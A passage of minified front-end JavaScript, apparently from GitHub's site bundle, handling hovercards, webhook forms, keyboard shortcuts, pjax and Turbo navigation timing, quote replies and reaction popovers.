HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const 